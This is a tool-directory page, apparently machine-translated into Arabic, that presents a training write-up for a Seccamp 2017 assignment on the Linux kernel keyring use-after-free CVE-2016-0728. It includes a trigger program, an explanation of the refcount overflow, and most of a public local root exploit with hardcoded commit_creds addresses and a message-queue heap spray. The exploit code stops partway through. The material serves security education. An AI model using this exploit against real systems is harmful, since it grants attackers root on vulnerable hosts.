Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2016-0728 — شرح تعليمي لاستغلال ثغرة في نواة لينكس CVE-2016-0728 (استخدام بعد التحرير في خدمة الاحتفاظ بالمفاتيح) مع تحليل مفصّل، وكود إثبات المفهوم (PoC)، ومناقشة وسائل التخفيف لتصعيد الامتيازات. | Kitploit
أدوات/GitHubGitHub/hal0taso/cve-2016-0728
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
GitHubhal0taso/cve-2016-0728

CVE-2016-0728

شرح تعليمي لاستغلال ثغرة في نواة لينكس CVE-2016-0728 (استخدام بعد التحرير في خدمة الاحتفاظ بالمفاتيح) مع تحليل مفصّل، وكود إثبات المفهوم (PoC)، ومناقشة وسائل التخفيف لتصعيد الامتيازات.

عرض المستودع
18منذ 9 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2016-0728

مهمة Seccamp 2017

البرنامج التالي يستغل ثغرة موجودة في نواة لينكس من الإصدار 3.8 إلى 4.4. اشرح العطل الذي يحدث نتيجة تنفيذ هذا البرنامج. كما قم بكتابة استغلال (exploit) يرفع الصلاحيات إلى صلاحية الجذر (root) عبر استغلال هذه الثغرة بشكل أعمق، واشرح بيئة التشغيل التي جرّبتها عليها ونقاط الابتكار لديك. بالإضافة إلى ذلك، اذكر أكبر عدد ممكن من الطرق للتخفيف من مثل هذا الهجوم واشرحها. ليس من الضروري أن تفهم كل شيء بشكل كامل، فاكتب بكلماتك الخاصة المعلومات التي تمكنت من فهمها حتى الآن، ومراحل المحاولات، وما شعرت به. وإذا كانت هناك مواقع أو مراجع استعنت بها، فاذكر مصادرها بوضوح.

#include <stddef.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <keyutils.h>  
 
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
        perror("keyctl");
        return -1;
    }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
 
    return 0;
}

مقدمة

بيئة التحقق هي كما يلي:

$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty

لقد عرفت هذه الثغرة لأول مرة، وسأصف ما اكتشفته أثناء البحث وما جربته في تلك العملية. أولاً، سأشرح خدمة حفظ المفاتيح المستخدمة في هذا البرنامج، ثم ثغرة Use-After-Free التي يستغلها هذا البرنامج وما سبب حدوثها في البرنامج، وبعدها سأصف ما العطل الذي ينجم عن ذلك. هذه الثغرة مسجلة برقم CVE-2016-0728، واستعنت بالموقع التالي كمرجع لملخصها.

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

كما أن خدمة حفظ المفاتيح في لينكس كانت أيضاً جديدة بالنسبة لي، فاستعنت بصفحة ويب IBM التمهيدية لخدمة حفظ المفاتيح في لينكس

https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html

وبكود مصدر نواة لينكس 3.19 التي هي بيئة التحقق

https://www.kernel.org/

ولإرسال رسائل النواة إلى نظام التشغيل المضيف عبر الشبكة استعنت بكتاب DEBUG HACKS - تقنيات وأدوات لإتقان التصحيح (O'REILLY).

هذا البرنامج (يُسمى فيما يلي leak.c) يستغل خطأً موجوداً في خدمة حفظ المفاتيح في لينكس، وهذا الخطأ يؤدي إلى ثغرة Use-After-Free. ثغرة Use-After-Free هي ثغرة يمكن من خلالها تنفيذ كود عشوائي عندما تتم الإشارة إلى عنوان ذاكرة كومة (heap) محرَّر بسبب تناقض في البرنامج. أولاً، سأشرح استدعاء النظام keyctl() الذي يستخدمه هذا البرنامج، ثم أصف الخطأ الموجود فيه.

يمكن لكل عملية إنشاء حلقة مفاتيح (keyring) خاصة بها للجلسة الحالية عن طريق استدعاء النظام keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). يمكن مشاركة حلقة المفاتيح هذه بين العمليات من خلال الإشارة إلى اسمها name. إذا كانت العملية تملك بالفعل حلقة مفاتيح جلسة، فإن استدعاء النظام هذا يستبدل حلقة مفاتيح الجلسة بحلقة مفاتيح جديدة. ولأنني أردت فهم هذا السلوك بشكل أفضل، اطلعت على دالة join_session_keyring في كود مصدر النواة /security/keys/process_keys.c. وهي تبدو كالبرنامج التالي. عند استبدال حلقة مفاتيح الجلسة بحلقة مفاتيح جلسة جديدة، يتم تخطي دالة تسمى key_put. دالة key_put هي دالة تتخلى عن المرجع (reference) لحلقة المفاتيح المعطاة في الوسيط. وبتخطيها، يبقى مرجع إلى حلقة المفاتيح الجديدة موجوداً، وهذا يؤدي إلى ثغرة Use-After-Free.

عند مشاركة حلقة المفاتيح هذه بين العمليات، يزداد عدد المراجع الداخلي المخزن في العضو usage من البنية (struct) key. العضو usage من النوع atomic_t، وهو في الواقع معرف (typedef) كبنية تحتوي على متغير واحد من النوع int. كما أنه لا توجد آلية لمنع تجاوز (overflow) هذا العضو usage، لذلك يمكن بزيادة هذا العضو باستمرار تجاوزه حتى يصل إلى 0. عندما يصبح العضو usage صفراً، يتم تحرير حلقة المفاتيح عن طريق جمع القمامة (garbage collection) داخل النظام الفرعي لحلقات المفاتيح. وبوضع وحدة نواة تقوم بأي معالجة أخرى نختارها من فضاء المستخدم في هذه المنطقة المحرَّرة، يمكن تنفيذ تلك المعالجة بصلاحيات النواة.

في الموقع المرجعي، عند تجميع leak.c مع مكتبة keyutils وتنفيذه، يُسجَّل keyring جلسة باسم leaked_key في /proc/keys ويظهر أنه تمت الإشارة إليه 100 مرة. لقد تحققت من ظهور leaked-keyring كما يلي قبل وبعد تنفيذ هذا البرنامج.

# 実行前
$ cat /proc/keys
$ ./leak
# 実行後
$ cat /proc/keys
0fd435e9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

ومع ذلك، لم يظهر leaked-keyring في بيئة التحقق. جرّبت تغيير شرط حلقة for إلى رقم كبير مثل i < 0x1000000، فظهر leaked-keyring أثناء تنفيذ البرنامج. هذه المرة، ينجح الهجوم عن طريق تجاوز العضو usage لتحرير المفتاح ووضع كائن نواة جديد مكانه. لذلك قررت أن أجرب ذلك فعلياً. استعنت بكود الاستغلال (exploit) من الموقع التالي:

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

	/* Set the new session keyring before we start */

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	if (serial < 0) {
		perror("keyctl");
		return -1;
    }
	
	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}


	puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }

    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }
تنزيل الأداة